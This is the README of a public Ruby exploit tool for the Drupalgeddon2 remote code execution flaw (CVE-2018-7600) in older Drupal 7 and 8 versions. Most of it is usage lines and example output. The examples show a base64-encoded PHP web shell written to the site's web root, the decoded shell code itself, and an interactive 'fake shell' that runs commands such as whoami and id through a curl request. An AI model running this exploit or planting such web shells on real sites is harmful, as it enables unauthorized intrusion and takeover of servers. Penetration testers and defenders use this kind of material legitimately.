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CVE-2018-7600 | Drupal < 7.58 / 8.x < 8.3.9 / 8.4.x < 8.4.6 / 8.5.x < 8.5.1 - 'Drupalgeddon2' RCE (SA-CORE-2018-002)

Drupalggedon2 ~ https://github.com/dreadlocked/Drupalgeddon2/ (https://www.drupal.org/sa-core-2018-002)

Supports:

  • Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 ~ user/register URL, attacking account/mail & #post_render parameter, using PHP's exec function
  • Drupal < 7.58 ~ user/password URL, attacking triggering_element_name form & #post_render parameter, using PHP's passthru function
  • With or without a writeable web root or sub-directories

The user/register method was chosen for Drupal v8.x, as it will return HTTP 200, and render the output in the data JSON response (un-comment the code for timezone/#lazy_builder method, which will return HTTP 500 & blind!) (More Information).

Authors:

Notes:

  • For a customizable exploit, read "drupalgeddon2-not-write-shell.rb" section.
  • Ey! Before opening an issue, please, read the throubleshooting section at the end of this readme. Thanks!

Usage:

$ ruby drupalgeddon2.rb
Usage: ruby drupalggedon2.rb <target>
       ruby drupalgeddon2.rb https://example.com
$

Drupal v8.x Example

Drupal v8.x < v8.3.9 / v8.4.x < v8.4.6 / v8.5.x < v8.5.1

$ ./drupalgeddon2.rb http://localhost/drupal-8/
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[*] Target : http://localhost/drupal-8/
--------------------------------------------------------------------------------
[!] MISSING: http://localhost/drupal-8/CHANGELOG.txt (404)
[+] Found  : http://localhost/drupal-8/core/CHANGELOG.txt (200)
[+] Drupal!: 8.4.5
--------------------------------------------------------------------------------
[*] Testing: Code Execution
[*] Payload: echo MEWQTESC
[+] Result : MEWQTESC<span class="ajax-new-content"></span>
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: File Write To Web Root (./)
[*] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee ./s.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }<span class="ajax-new-content"></span>
[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
--------------------------------------------------------------------------------
[*] Fake shell:   curl 'http://localhost/drupal-8/s.php' -d 'c=whoami'
ubuntu140045x64-drupal>> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
ubuntu140045x64-drupal>>
ubuntu140045x64-drupal>> uname -a
Linux ubuntu140045x64-drupal 3.13.0-144-generic #193-Ubuntu SMP Thu Mar 15 17:03:53 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
ubuntu140045x64-drupal>>

Drupal v7.x Example

Drupal < v7.58

$ ./drupalgeddon2.rb http://localhost/drupal-7/
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[*] Target : http://localhost/drupal-7/
--------------------------------------------------------------------------------
[+] Found  : http://localhost/drupal-7/CHANGELOG.txt (200)
[+] Drupal!: 7.55
--------------------------------------------------------------------------------
[*] Testing: Code Execution
[*] Payload: echo FLUBCTEZ
[+] Result : FLUBCTEZ
[{"command":"settings","settings":{"basePath":"\/drupal-7.55\/","pathPrefix":"","ajaxPageState":{"theme":"bartik","theme_token":"bSQXTLxvuTsh1M_vGKQog3Rp7ZAA-o8-PBVy0RpC5NY"}},"merge":true},{"command":"insert","method":"replaceWith","selector":null,"data":"","settings":{"basePath":"\/drupal-7.55\/","pathPrefix":"","ajaxPageState":{"theme":"bartik","theme_token":"bSQXTLxvuTsh1M_vGKQog3Rp7ZAA-o8-PBVy0RpC5NY"}}}]
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: File Write To Web Root (./)
[*] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee ./s.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }[{"command":"settings","settings":{"basePath":"\/drupal-7.55\/","pathPrefix":"","ajaxPageState":{"theme":"bartik","theme_token":"5RvOux65dtisVX7T9EwnBxXhyvSdeNhX0njFg3ha_rc"}},"merge":true},{"command":"insert","method":"replaceWith","selector":null,"data":"","settings":{"basePath":"\/drupal-7.55\/","pathPrefix":"","ajaxPageState":{"theme":"bartik","theme_token":"5RvOux65dtisVX7T9EwnBxXhyvSdeNhX0njFg3ha_rc"}}}]
[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
--------------------------------------------------------------------------------
[*] Fake shell:   curl 'http://localhost/drupal-7/s.php' -d 'c=whoami'
ubuntu140045x64-drupal>> uptime
 14:52:33 up 4 days,  3:35,  1 user,  load average: 0.00, 0.01, 0.05
ubuntu140045x64-drupal>>
ubuntu140045x64-drupal>> whoami
www-data
ubuntu140045x64-drupal>>

File-Less Method

If you do not want to even try and write a PHP web shell to the web server, edit the file as shown (it will fall back if it can't find a writeable location anyway):

writeshell = true

Proxy Support

For proxy support (e.g. Burp), edit the file, replacing with your values. Example:

proxy_addr = '192.168.0.130'
proxy_port = 8080

Experimental but usable: drupalgeddon2-not-write-shell.rb

This exploit is inteded to be more customizable. It allows you to specify some more parameters as the PHP method to use (not only system or passthru) and the way to reach user/password form.

Usage examples:

$ ruby drupalgeddon2-not-write-shell.rb https://example.com 7 id passthru 0

1st parameter: Target URL
2nd parameter: Drupal version
3rd parameter: Command
4th parameter: PHP method to use (passthru, exec, system, assert...)
5th parameter: 0 for "/?q=user/password", 1 for "/user/password"

Troubleshooting:

  • Sometimes, websites may redirect to another path where Drupal exists (such as 30x responses). Solution: Make sure you are using the correct Drupal path.
  • Drupal v7.x - If /user/password form is disabled, maybe you should find another form, but remember to change the exploit. Solution: form_id parameter will change depending on the form used to exploit the vulnerability.
  • If you cannot write a shell using drupalgeddon2.rb, use do-not-use.rb, this script doesn't write a shell to disk, and allows you to use whatever php method you want.

Links: